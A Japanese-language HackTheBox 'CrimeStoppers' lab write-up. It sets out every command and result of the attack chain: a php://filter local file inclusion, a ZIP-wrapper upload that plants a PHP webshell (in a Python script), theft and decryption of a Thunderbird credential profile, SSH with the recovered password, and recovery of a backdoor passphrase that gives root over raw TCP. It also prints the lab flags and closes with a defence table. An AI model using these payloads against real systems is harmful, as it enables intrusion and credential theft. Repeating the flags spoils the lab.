HackTheBox: CrimeStoppers — 全実行コマンド・実行結果レポート
Nmap スキャン
80番ポートのみ
→
80番ポートのみ
php://filter LFI
index.php/upload.php/common.php/view.php のソース閲覧
→
index.php/upload.php/common.php/view.php のソース閲覧
ZIP wrapper RCE
tipアップロード + zip://uploads/<ip>/<hash>#writeup
→
tipアップロード + zip://uploads/<ip>/<hash>#writeup
www-data シェル
→
Thunderbird資格情報窃取
firefox-decrypt で dom 復号
→
firefox-decrypt で dom 復号
SSH(IPv6限定) → user.txt ✓
→
mod_rootme.so XOR解析
“HackTheBox” 鍵でパスフレーズ抽出
→
“HackTheBox” 鍵でパスフレーズ抽出
DarkArmyバックドア → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン & バージョン検出
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.89.61 nmap -sV -sC -p 80 10.129.89.61
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 (Ubuntu) |_http-title: FBIs Most Wanted: FSociety |_http-server-header: Apache/2.4.25 (Ubuntu)
ℹ️
開放ポートは80番のみ。”Mr. Robot”をもじった fsociety テーマのサイトで、
index.php?op=<page> という独自ルーティングを持つ。
PHASE 2
php://filter LFI でアプリケーションソースを解析
index.php のルーティング実装を読む
BASH
curl -s "http://10.129.89.61/?op=php://filter/convert.base64-encode/resource=index" \
| grep -oE '[A-Za-z0-9+/=]{80,}' | head -1 | base64 -d
RESULT (index.php 抜粋)
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op) || preg_match('/\0/', $op))
die('Are you really trying ' . htmlentities($op) . '!? ...');
...
page_top($op);
if(!(include $op . '.php'))
fatal('no such page');
🚨
重要発見:
opパラメータが直接include()に渡される
典型的なLFI。..とNULLバイトのみブラックリストされているため
php://filterやzip://といった他のストリームラッパーは素通し可能。
さらに include $op . '.php' のように常に .php が
自動付与される点が、後述のZIP wrapper RCEのペイロード設計に直結する。
upload.php / common.php の保存ロジックを確認
BASH
curl -s "http://10.129.89.61/?op=php://filter/convert.base64-encode/resource=upload" \
| grep -oE '[A-Za-z0-9+/=]{80,}' | head -1 | base64 -d
curl -s "http://10.129.89.61/?op=php://filter/convert.base64-encode/resource=common" \
| grep -oE '[A-Za-z0-9+/=]{80,}' | head -1 | base64 -d
RESULT (upload.php / common.php 抜粋)
// upload.php
if (hash_equals($token, $_POST['token'])) {
if (!is_dir('uploads/' . $client_ip)) {
mkdir('uploads/' . $client_ip, 0755, false);
}
$tip = $_POST['tip'];
$secretname = genFilename();
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
header("Location: ?op=view&secretname=$secretname");
}
// common.php
function genFilename() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
✅
保存先の仕様を特定: アップロードされたtipは
uploads/<自分のIPアドレス>/<sha1風40桁hex>
に保存される(IPアドレス別サブディレクトリ)。ファイル名(secretname)自体は
レスポンス本文には出現せず、アップロード成功時の302リダイレクトの
Location ヘッダーにのみ現れる。
PHASE 3
ZIP wrapper RCE — tipアップロード経由のWebシェル化
生ZIPファイル(ZIP_STORED)をtipとして送信
PYTHON
import requests, io, zipfile, re
base = 'http://10.129.89.61/'
sess = requests.Session()
r0 = sess.get(base, params={'op': 'upload'})
token = re.search(r'name="token"[^>]*value="([0-9a-f]+)"', r0.text).group(1)
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
zf.writestr('writeup.php', '<?php echo exec($_GET["cmd"]); ?>')
data = {'name': 'tip', 'submit': 'Submit', 'token': token}
files = {'tip': (None, buf.getvalue())} # textareaを模してファイル名無しで送信
r1 = sess.post(base, params={'op': 'upload'}, data=data, files=files,
allow_redirects=False) # Locationヘッダーを読むため追従しない
print(r1.headers['Location'])
RESULT
Location: ?op=view&secretname=d7c7f963bcceb56dc3bc981153ff89a40bd7c269
⚠️
tipはHTML上は<textarea>(ファイル入力ではない)なので、
requestsのfiles={'tip': (None, zip_bytes)}のように
ファイル名を付けずにmultipartパートとして送ると、
素のバイナリtextarea投稿として扱われ、ZIPバイナリがそのままファイルに書き込まれる。
zip:// ストリームラッパーでWebシェルをinclude
BASH
# include $op . '.php' で.phpが自動付与されるため、フラグメントは # 拡張子無しの #writeup を指定する (結合後 #writeup.php = ZIP内のエントリ名と一致) # 保存先はクライアントIP別サブディレクトリなので自分のIPを明示する curl -s "http://10.129.89.61/?op=zip://uploads/10.10.15.200/d7c7f963bcceb56dc3bc981153ff89a40bd7c269%23writeup&cmd=id"
RESULT
...
</nav>
uid=33(www-data) gid=33(www-data) groups=33(www-data) <footer>
...
✅
RCE成功!
www-dataとしてコマンド実行できることを確認。
exec()の出力は常に</nav>と<footer>の間に
生テキストとして埋め込まれるため、以降のコマンド出力はこの区間を切り出して回収する。
ℹ️
PHPの
exec()は最後の1行の出力しか返さない(shell_exec()と異なる)。
複数行が必要な場合は | tr '\n' ',' 等でシェル側から1行に正規化してから渡す。
PHASE 4
dom のThunderbird資格情報窃取 & user.txt 取得
Thunderbirdプロファイルの発見
BASH (RCE経由)
cmd=ls -1 /home/dom/.thunderbird/36jinndk.default/ | tr "\n" ","
RESULT
...,abook.mab,...,cert8.db,...,global-messages-db.sqlite,..., key3.db,logins.json,...,places.sqlite,prefs.js,...
ℹ️
旧世代(NSS legacy)フォーマットの
key3.db/cert8.db が存在
(key4.db/cert9.db/signons.sqliteは無い)。
logins.jsonに暗号化された認証情報、global-messages-db.sqliteに
メールの索引データが入っている。
base64経由でプロファイルファイルを回収
BASH (RCE経由、各ファイルごと)
cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/key3.db cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/cert8.db cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/logins.json cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/global-messages-db.sqlite # → それぞれデコードして /tmp/cs_tb_profile/ に保存
RESULT
key3.db 16384 bytes (NSS legacy DBヘッダ)
cert8.db 65536 bytes (NSS legacy DBヘッダ)
logins.json 1114 bytes {"nextId":3,"logins"...
global-messages-db.sqlite 1245184 bytes SQLite format 3\x00...
⚠️
実装上の注意: exec()出力をHTMLページから切り出す際、単純にHTMLタグだけを
除去して空白を詰める実装では、ナビゲーションバー・フッターの定型文(ページタイトルや
“Copyright…”等)がbase64データに混入し、
base64.b64decode()が無効文字を
無言で無視する仕様と組み合わさって毎回同じ長さの無意味なバイト列にデコード
されてしまう(本チェーンで実際に遭遇した落とし穴)。</nav>〜
<footer>の区間だけを先に切り出す必要がある。
firefox-decrypt でパスワード復号
BASH
git clone --depth 1 https://github.com/unode/firefox_decrypt.git python3 firefox_decrypt/firefox_decrypt.py /tmp/cs_tb_profile
RESULT
Website: imap://crimestoppers.htb Username: 'dom@crimestoppers.htb' Password: 'Gummer59' Website: smtp://crimestoppers.htb Username: 'dom@crimestoppers.htb' Password: 'Gummer59'
✅
マスターパスワード無しでNSS legacy形式(key3.db+cert8.db)を復号し、
domのメール資格情報 Gummer59 を取得。
SSHはIPv6限定 — IPv6アドレス特定 & ログイン
BASH (RCE経由でIPv6を特定)
cmd=ip -6 addr show scope global | grep -oP 'inet6 \K[0-9a-fA-F:]+' | head -1
RESULT
dead:beef::a0de:adff:fea5:a66d
BASH
sshpass -p 'Gummer59' ssh -6 -o StrictHostKeyChecking=no \ dom@dead:beef::a0de:adff:fea5:a66d "id; cat ~/user.txt"
RESULT
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip) 9d2359b828bfdf2a4b1dde05983db03b
user.txt — dom@crimestoppers.htb
9d2359b828bfdf2a4b1dde05983db03b
ℹ️
netstat -lp (RCE経由)で確認した通り、sshdは0.0.0.0:22ではなく
IPv6のみでListenしている。IPv4アドレスでSSHしようとすると
Connection refusedになる点に注意。
PHASE 5
mod_rootme.so “DarkArmy” バックドア解析 & root.txt 取得
mod_rootme.so の発見とパーミッション確認
BASH (dom のSSHセッション経由)
find / -xdev -name mod_rootme.so 2>/dev/null ls -la /usr/lib/apache2/modules/mod_rootme.so
RESULT
/usr/lib/apache2/modules/mod_rootme.so
-rw-r----- 1 root dom 48584 Dec 22 2017 /usr/lib/apache2/modules/mod_rootme.so
🚨
重要な制約: このファイルは
root:dom 所有・モード640
であり、www-data(uid=33)では読み取れない(グループ不一致)。
先に奪取した dom のSSHセッション(domの第一グループがファイルの
所有グループと一致)でなければ回収できない。www-data RCEだけで
base64しても常に空文字列が返り、「失敗」のサインが出ない
(“既知値フォールバックが動いて成功のように見える”落とし穴)。
バイナリ回収 & “HackTheBox” 鍵でのXOR解析
BASH
sshpass -p 'Gummer59' ssh -6 dom@dead:beef::a0de:adff:fea5:a66d \ "base64 -w0 /usr/lib/apache2/modules/mod_rootme.so" > rootme.b64 base64 -d rootme.b64 > mod_rootme.so
PYTHON (XOR鍵抽出)
raw = open('mod_rootme.so','rb').read()
plaintext = b'HackTheBox'
idx = raw.find(plaintext)
# "HackTheBox" の直前1バイトはCスタイルのnull終端子であり鍵の一部ではない
assert raw[idx-1:idx] == b'\x00'
key_bytes = raw[idx-1-len(plaintext):idx-1]
passphrase = bytes(a ^ b for a, b in zip(key_bytes, plaintext))
print(passphrase.decode()) # -> FunSociety
RESULT
key_bytes = b"\x0e\x14\r8;\x0b\x0c'\x1b\x01"
passphrase = FunSociety
⚠️
オフバイワンの落とし穴: バイナリ中の実際のレイアウトは
...<前の文字列>\x00<10バイトの鍵>\x00"HackTheBox"\x00mod...
であり、"HackTheBox"の直前1バイトは鍵本体ではなく
Cスタイルのnull終端バイト。raw[idx-10:idx]
のように単純に直前10バイトを取ると終端\x00を鍵に含めてしまい、
1バイトずれた誤った鍵で意味不明な文字列にXORされる
(本チェーンで実際に発生し、既知値フォールバックの裏に隠れていた実バグ)。
正しくは終端\x00のさらに手前10バイトを使う。
生TCPでDarkArmyバックドアに接続
BASH
nc 10.129.89.61 80
HTTP/生TCP (送信)
GET FunSociety cat /root/root.txt
RESULT
rootme-0.5 DarkArmy Edition Ready 4a758a0690e02c96248f302ca6af48c5
✅
root化成功! 正規のHTTPリクエストではなく、パスフレーズを含む
特定の1行(“GET <passphrase>”)を送るだけでバナーが返り、以降送信する行が
そのままrootシェルとして実行されるミニプロトコル。
⚠️
改行コードの落とし穴: コマンド行を
\r\nで送信すると、
バックドア側は\nのみで行分割し\rを剥がさないため、
cat /root/root.txt\rがそのままシェルに渡り
cat: 'root.txt'$'\r': No such file or directoryのように失敗する。
必ず\nのみで送信すること。
root.txt — root@crimestoppers
4a758a0690e02c96248f302ca6af48c5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dom@crimestoppers.htb
9d2359b828bfdf2a4b1dde05983db03b
root.txt — root@crimestoppers
4a758a0690e02c96248f302ca6af48c5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LFI (検証不足なop/includeルーティング) | index.php | 任意PHPソースの閲覧 (php://filter) | High | ..・NULLバイトのみブラックリストされたパラメータをinclude()に直接渡す実装を悪用 |
| ZIP wrapper RCE (LFI→RCE 連鎖) | tipアップロード機能 + zip:// ラッパー | リモートコード実行 (www-data) | Critical | 任意ファイル書き込み(アップロード)と任意ファイルinclude(LFI)を組み合わせ、ZIP内のPHPをinclude実行 |
| マスターパスワード無しのメールクライアント資格情報保存 | dom の Thunderbirdプロファイル | 水平権限昇格 (dom奪取、user.txt) | Medium | www-data権限でプロファイルファイルを回収しfirefox-decryptでオフライン復号 |
| ハードコードされたバックドア (mod_rootme.so) | カスタムApacheモジュール | 権限昇格 (root, root.txt) | Critical | バイナリ中にXOR処理で隠されたパスフレーズをリバースエンジニアリングし、生TCPのミニプロトコルでroot実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート+バージョンスキャン | 80番のみ、fsocietyテーマのPHPサイト |
| 2 | LFIソース解析 | php://filter/convert.base64-encode | index.php/upload.php/common.php/view.phpのロジック解明 |
| 3 | RCE | tipアップロード + zip://ラッパー | www-dataシェル獲得 |
| 4 | 資格情報窃取 | Thunderbirdプロファイル窃取+firefox-decrypt | dom:Gummer59、IPv6限定SSHでuser.txt |
| 5 | バックドア解析 | mod_rootme.so XOR解析 (“HackTheBox”鍵) | パスフレーズ”FunSociety”、生TCPでroot.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
ユーザー制御のopパラメータが直接include()に渡され、php://filter/zip://等のストリームラッパーを許してしまう |
includeするページ名は固定の許可リスト(switch文等)でマッピングし、ユーザー入力を直接ファイルパス構築に使わない。 |
| ファイルアップロード機能が、アップロードしたファイルをWebルート内にそのまま保存し拡張子検証も行わない | アップロードファイルはWebルート外に保存し、実行可能な拡張子を除外、Content-Typeの厳格な検証を行う。 |
| メールクライアント(Thunderbird)にマスターパスワード無しで資格情報を保存 | メールクライアントには必ずマスターパスワードを設定し、サーバー上にクライアントプロファイルを残さない運用にする。 |
| カスタムApacheモジュールに平文類似のXORエンコードのみでバックドアパスフレーズを隠蔽 | バックドア自体を本番環境に残さないことが大前提。デバッグ/保守用の裏口機能は本番ビルドから完全に除去する。 |

